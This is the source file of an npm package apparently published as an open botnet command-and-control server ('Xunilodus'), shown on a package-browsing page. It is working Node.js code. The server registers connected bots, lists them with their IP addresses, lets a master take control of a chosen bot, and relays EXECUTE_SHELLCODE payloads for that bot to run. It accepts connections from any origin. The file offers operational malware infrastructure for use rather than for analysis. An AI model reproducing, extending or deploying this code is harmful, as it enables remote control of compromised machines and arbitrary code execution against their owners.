UNPKG

xunilodus-server

Version:

The Open WebSocket Command Control Botnet project.

320 lines (284 loc) 11.4 kB
#!/usr/bin/env node //#region [ IMPORTS ] const md5 = require('md5'); const http = require('http'); const info = require('./info'); const nonce = require('nonce'); const WebSockets = require('websocket'); const { BotnetFrame, MessageType, SenderType, StatusCode, CommandFlags, CommandID } = require('./sfxtp'); const yargs = require('yargs'); //#endregion var argv = yargs.scriptName("Xunilodus-Server") .usage("Usage: $0 --port=port_value") .example( "$0 --port=44335", "Run the botnet server of Xunilodus on port 44335." ).command('port [port]', 'The port to listen for incoming connections.', (yargs) => { return yargs.positional('port', { description: 'The port to listen for incoming connections.', demandOption: "The port of server is required.", type: 'number', }) }).help().alias('help', 'h').argv; if (!argv['port']){ console.log('[?] Parameter --port not specified. Presuming default 44335'); argv['port'] = 44335; } const server = http.createServer((req, res) => { res.writeHead(403); return res.end(); }); server.listen(argv['port'], function () { console.log(`[${(new Date()).toLocaleString()}] Xunilodus Server is listening on port ${argv['port']}.`); }); //#region [ CONSTANTS ] const MaxSingleHostsConnections = 5; const WebSockServer = new WebSockets.server({ httpServer: server, maxReceivedFrameSize: 65536, maxReceivedMessageSize: 65536 }); //#endregion //#region [ VARIABLES ] var OpennedSockets = 0; var MaxOpennedSockets = 32; var SocketTable = []; var ImpersonationTable = []; //#endregion //#region [ UTILITY FUNCTIONS ] function IsAllowedOrigin(origin) { return true; } function ReadSocketByFingerprint(fingerprint) { for (let idx = 0; idx < SocketTable.length; idx++) { if (SocketTable[idx].Fingerprint == fingerprint) return SocketTable[idx]; } return null; } function ApplyDepersonification(srcFingerprint){ return !!(ImpersonationTable = ImpersonationTable.filter((obj) => { return (obj.SourceFingerprint != srcFingerprint); })); } function VerifyImpersonation(srcFingerprint, destFingerprint){ for (let x = 0; x < ImpersonationTable.length; x++) if ((ImpersonationTable[x].SourceFingerprint == srcFingerprint) && ((ImpersonationTable[x].DestinationFingerprint == destFingerprint) || !destFingerprint)) return true; return false; } function ApplyImpersonation(srcFingerprint, destFingerprint){ if (VerifyImpersonation(srcFingerprint, null) || !ReadSocketByFingerprint(destFingerprint)) return false; ImpersonationTable.push({ SourceFingerprint: srcFingerprint, DestinationFingerprint: destFingerprint }); return true; } //#endregion //#region [ TUNNELING FUNCTIONS ] /** * @param {string} srcFingerprint The SFBTP datagram * @param {BotnetFrame} frame The SFBTP datagram */ function OnFrameReceived(srcFingerprint, frame){ let Socket = ReadSocketByFingerprint(srcFingerprint); if (Socket === null) return; switch (frame.MessageType){ case MessageType.QUERY:{ switch (frame.SenderType){ case SenderType.MASTER:{ switch (frame.StatusCode){ case StatusCode.QUERY_SENT:{ let Data; let Status = StatusCode.RESPONSE_SENT; let Type = MessageType.RESPONSE; switch (frame.CommandID){ case CommandID.IMPERSONATE:{ if (ApplyImpersonation(srcFingerprint, frame.TargetFingerprint.toString(16).toUpperCase())){ Data = { "message": info.command_messages.IMPERSONATE.success } } else { Data = { "message": info.command_messages.IMPERSONATE.failed } Status = StatusCode.ERROR_STATUS; } Data = JSON.stringify(Data); Socket.send( BotnetFrame.build( Type, frame.SequenceID, SenderType.COMMAND_CONTROL, parseInt(srcFingerprint, 16), frame.CommandFlags, 0, Status, frame.CommandID, 0xababcdcd, Data ).Bytes ); } break; case CommandID.DEPERSONATE:{ if (ApplyDepersonification(srcFingerprint)){ Data = { "message": info.command_messages.DEPERSONATE.success } } else { Data = { "message": info.command_messages.DEPERSONATE.failed } Status = StatusCode.ERROR_STATUS; } Data = JSON.stringify(Data); Socket.send( BotnetFrame.build( Type, frame.SequenceID, SenderType.COMMAND_CONTROL, parseInt(srcFingerprint, 16), frame.CommandFlags, 0, Status, frame.CommandID, 0xababcdcd, Data ).Bytes ); } break; case CommandID.EXECUTE_SHELLCODE:{ let DestinationSocket; if (VerifyImpersonation(srcFingerprint, frame.TargetFingerprint.toString(16).toUpperCase())){ Status = StatusCode.QUERY_SENT; Type = MessageType.QUERY; Data = frame.Payload; DestinationSocket = ReadSocketByFingerprint(frame.TargetFingerprint.toString(16).toUpperCase()); } else { Status = StatusCode.ERROR_STATUS; Type = MessageType.RESPONSE; Data = { "message": info.command_messages.EXECUTE_SHELLCODE.failed } DestinationSocket = Socket; } DestinationSocket.send( BotnetFrame.build( Type, frame.SequenceID, SenderType.COMMAND_CONTROL, parseInt(srcFingerprint, 16), frame.CommandFlags, 0, Status, frame.CommandID, 0xababcdcd, Data ).Bytes ); } break; } } break; case StatusCode.QUERY_INFO:{ let Data; switch (frame.CommandID){ case CommandID.HELP:{ Data = JSON.stringify(info.command_list); } break; case CommandID.LIST_BOTS:{ Data = []; for (let k = 0; k < SocketTable.length; k++) Data.push({ "RemoteAddress": SocketTable[k].remoteAddress, "Fingerprint": SocketTable[k].Fingerprint, "IsOwnDevice": (SocketTable[k].Fingerprint == srcFingerprint) }); Data = JSON.stringify(Data); } break; } Socket.send( BotnetFrame.build( MessageType.RESPONSE, frame.SequenceID, SenderType.COMMAND_CONTROL, parseInt(srcFingerprint, 16), frame.CommandFlags, 0, StatusCode.RESPONSE_INFO, frame.CommandID, 0xababcdcd, Data ).Bytes ); } break; case StatusCode.QUERY_AND_WAIT:{ //Not supported yet } break; } } break; case SenderType.BOT:{ //Bots cannot execute queries for security purposes } break; } } break; case MessageType.RESPONSE:{ switch (frame.SenderType){ case SenderType.MASTER:{ //Masters cannot respond queries for security purposes } break; case SenderType.BOT:{ switch (frame.StatusCode) { case StatusCode.RESPONSE_SENT:{ let DestinationSocket = ReadSocketByFingerprint(frame.TargetFingerprint.toString(16).toUpperCase()); DestinationSocket.send( BotnetFrame.build( MessageType.RESPONSE, frame.SequenceID, SenderType.COMMAND_CONTROL, parseInt(srcFingerprint, 16), frame.CommandFlags, 0, StatusCode.RESPONSE_SENT, frame.CommandID, 0xababcdcd, frame.Payload ).Bytes ); } break; case StatusCode.ERROR_STATUS:{ let DestinationSocket = ReadSocketByFingerprint(frame.TargetFingerprint.toString(16).toUpperCase()); DestinationSocket.send( BotnetFrame.build( MessageType.RESPONSE, frame.SequenceID, SenderType.COMMAND_CONTROL, parseInt(srcFingerprint, 16), frame.CommandFlags, 0, StatusCode.ERROR_STATUS, frame.CommandID, 0xababcdcd, frame.Payload ).Bytes ); } break; case StatusCode.RESPONSE_WAIT_FRAGMENT:{ //Not supported yet } break; case StatusCode.RESPONSE_WAIT_FRAGMENT || StatusCode.RESPONSE_SENT:{ //Not supported yet } break; } } break; } } break; } } //#endregion //#region [ SOCKET LISTENERS ] WebSockServer.on('connect', (connection) => { OpennedSockets++; connection.on('message', (message) => { if (message.type == 'binary') { let buffer = message.binaryData; try{ OnFrameReceived(connection.Fingerprint, new BotnetFrame(buffer)); } catch (e){ connection.drop(403, 'Invalid buffer received'); } } else { connection.drop(403, 'Invalid buffer received'); } }); }); WebSockServer.on('request', (request) => { (IsAllowedOrigin(request.origin) ? () => { if (OpennedSockets == MaxOpennedSockets) { request.reject(503, 'Maximum concurrent socket connections limit hit'); } else { let NumOfConnections = 0; for (let scki = 0; scki < SocketTable.length; scki++) { if ((SocketTable[scki].connected == true) && (SocketTable[scki].remoteAddress == request.remoteAddress)) { NumOfConnections++; } } if (NumOfConnections < MaxSingleHostsConnections) { let Socket = request.accept(); Socket.Fingerprint = md5(request.key + nonce(128)()).substring(0, 8).toUpperCase(); SocketTable.push(Socket); console.log(`[+] Client [${Socket.Fingerprint}] connected.`); } else { request.reject(403, 'Maximum concurrent single hosts connections limit hit'); } } } : () => { request.reject(403, 'Access Denied'); })(); }); WebSockServer.on('close', (connection, reasonCode, desc) => { console.log(`[-] Client [${connection.Fingerprint}] disconnected.`); SocketTable = SocketTable.filter((sock, _idx, _socktable) => { return !((sock.Fingerprint == connection.Fingerprint)); }); if (OpennedSockets > 0) OpennedSockets--; }); //#endregion